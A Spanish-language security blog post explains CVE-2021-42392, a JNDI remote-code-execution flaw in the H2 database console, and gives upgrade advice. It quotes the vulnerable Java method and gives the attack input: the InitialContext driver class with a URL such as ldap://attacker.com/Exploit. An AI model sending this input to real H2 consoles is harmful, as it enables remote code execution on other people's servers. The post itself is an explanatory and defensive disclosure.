Vulnerabilidad JNDI en la consola de la base de datos H2 (RCE sin autenticación)

Recientemente los investigadores de JFrog han alertado de que la consola de h2, la popular base de datos Java SQL de código abierto que almacena datos directamente en memoria, es vulnerable a ejecución remota de código. ¿Cómo? Pues mediante carga remota de clases con JNDI, algo que se introdujo en la BlackHat USA de 2016 por Alvaro Muñoz y Oleksandr Mirosh (Whitepaper) y que se hizo sobradamente conocido por la vulnerabilidad estrella de los últimos tiempos... log4shell.

Y de forma similar a lo que pasó con la célebre vulnerabilidad, lo de h2 ahora bautizado como (CVE-2021-42392) ya fue reportado/introducido en su momento (también en el repo de vulhub) por otro investigador, en este caso por el hongkonés pyn3rd en abril de 2020.

Básicamente, en h2 el método org.h2.util.JdbcUtils.getConnection toma un nombre de clase de driver y una URL de base de datos como parámetros. Si la clase del controlador se puede asignar a la clase javax.naming.Context, el método crea una instancia de un objeto y llama a su método de búsqueda:

else if (javax.naming.Context.class.isAssignableFrom(d)) {
    // JNDI context
    Context context = (Context) d.getDeclaredConstructor().newInstance();
    DataSource ds = (DataSource) context.lookup(url);
    if (StringUtils.isNullOrEmpty(user) && StringUtils.isNullOrEmpty(password)) {
        return ds.getConnection();
    }
    return ds.getConnection(user, password);
}

Y como habéis visto anteriormente, proporcionando una clase de controlador como javax.naming.InitialContext y una URL como ldap://attacker.com/Exploit (o rmi, corba, ..) conducirá a la ejecución remota del código. 

¿Cómo podemos defendernos?

Si estás a cargo de una base de datos h2 lo mejor que podrías hacer es actualizar lo antes posible a la versión 2.0.206, incluso aunque no tengas expuesta la consola. Esa versión nos protege contra CVE-2021-42392 limitando las URLs de JNDI para usar solo el protocolo java (local), que deniega cualquier consulta LDAP/RMI remota. Esto es similar a la corrección aplicada en Log4j 2.17.0.

Por otro lado, las últimas versiones de Java ya la mitigan con trustURLCodebase. aunque se puede bypassear enviando un objeto Java "gadget" serializado a través de LDAP, siempre que la clase "gadget" respectiva esté incluida en la ruta de clase (depende del servidor que ejecuta la base de datos H2). Por eso, en todos los casos lo mejor es actualizar.

Comentarios